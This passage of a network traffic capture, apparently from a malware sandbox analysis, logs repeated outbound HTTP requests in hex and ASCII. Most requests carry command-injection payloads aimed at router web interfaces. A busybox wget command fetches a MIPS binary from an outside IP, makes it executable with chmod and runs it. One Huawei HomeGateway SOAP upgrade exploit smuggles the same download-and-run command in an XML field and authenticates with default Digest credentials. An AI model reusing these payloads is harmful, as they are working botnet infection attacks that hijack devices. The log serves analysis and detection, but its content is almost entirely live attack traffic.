                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:20.601351023 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                291192.168.2.155821062.238.40.158080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:06.728912115 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:06.921361923 CET230INHTTP/1.1 301 Moved Permanently
                                                Location: /2.0/gui/?item=cgi-bin/ViewLog.asp
                                                Content-Length: 0
                                                Connection: close
                                                Date: Thu, 23 Nov 2023 04:20:58 GMT
                                                Server: HTTP Server


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                292192.168.2.155674431.41.93.2348080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:06.753068924 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:06.967833996 CET499INHTTP/1.1 401 Unauthorized
                                                Date: Thu, 23 Nov 2023 04:21:06 GMT
                                                Server: Boa/0.94.14rc21
                                                Accept-Ranges: bytes
                                                Content-encoding: gzip
                                                Connection: close
                                                WWW-Authenticate: Basic realm="WF2419"
                                                user"
                                                Content-Type: text/html; charset=ISO-8859-1
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 64 6f 65 73 20 6e 6f 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 67 65 74 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 66 72 6f 6d 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD><BODY><H1>401 Unauthorized</H1>Your client does not have permission to get URL /cgi-bin/ViewLog.asp from this server.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                293192.168.2.155370895.84.240.1938080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:06.763456106 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:06.984879971 CET1308INHTTP/1.1 404
                                                Content-Type: text/html;charset=utf-8
                                                Content-Language: ru
                                                Content-Length: 1117
                                                Date: Thu, 23 Nov 2023 04:21:07 GMT
                                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 d0 9d d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd d0 be 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 68 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 62 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 70 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 61 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 d0 9d d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd d0 be 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 4d 65 73 73 61 67 65 3c 2f 62 3e 20 26 23 34 37 3b 63 67 69 2d 62 69 6e 26 23 34 37 3b 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 6f 72 69 67 69 6e 20 73 65 72 76 65 72 20 64 69 64 20 6e 6f 74 20 66 69 6e 64 20 61 20 63 75 72 72 65 6e 74 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 74 61 72 67 65 74 20 72 65 73 6f 75 72 63 65 20 6f 72 20 69 73 20 6e 6f 74 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 63 6c 6f 73 65 20 74 68 61 74 20 6f 6e 65 20 65 78 69 73 74 73 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 39 2e 30 2e 32 30 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <!doctype html><html lang="ru"><head><title>HTTP Status 404 </title><style type="text/css">h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 </h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> &#47;cgi-bin&#47;ViewLog.asp</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/9.0.20</h3></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                294192.168.2.154080694.120.234.2078080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:06.763626099 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                295192.168.2.154757462.29.89.698080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:06.772578955 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                296192.168.2.154876894.121.125.38080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:06.779130936 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                297192.168.2.1534424156.241.127.16537215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:08.497838020 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:10.491095066 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:13.019124031 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:17.882906914 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
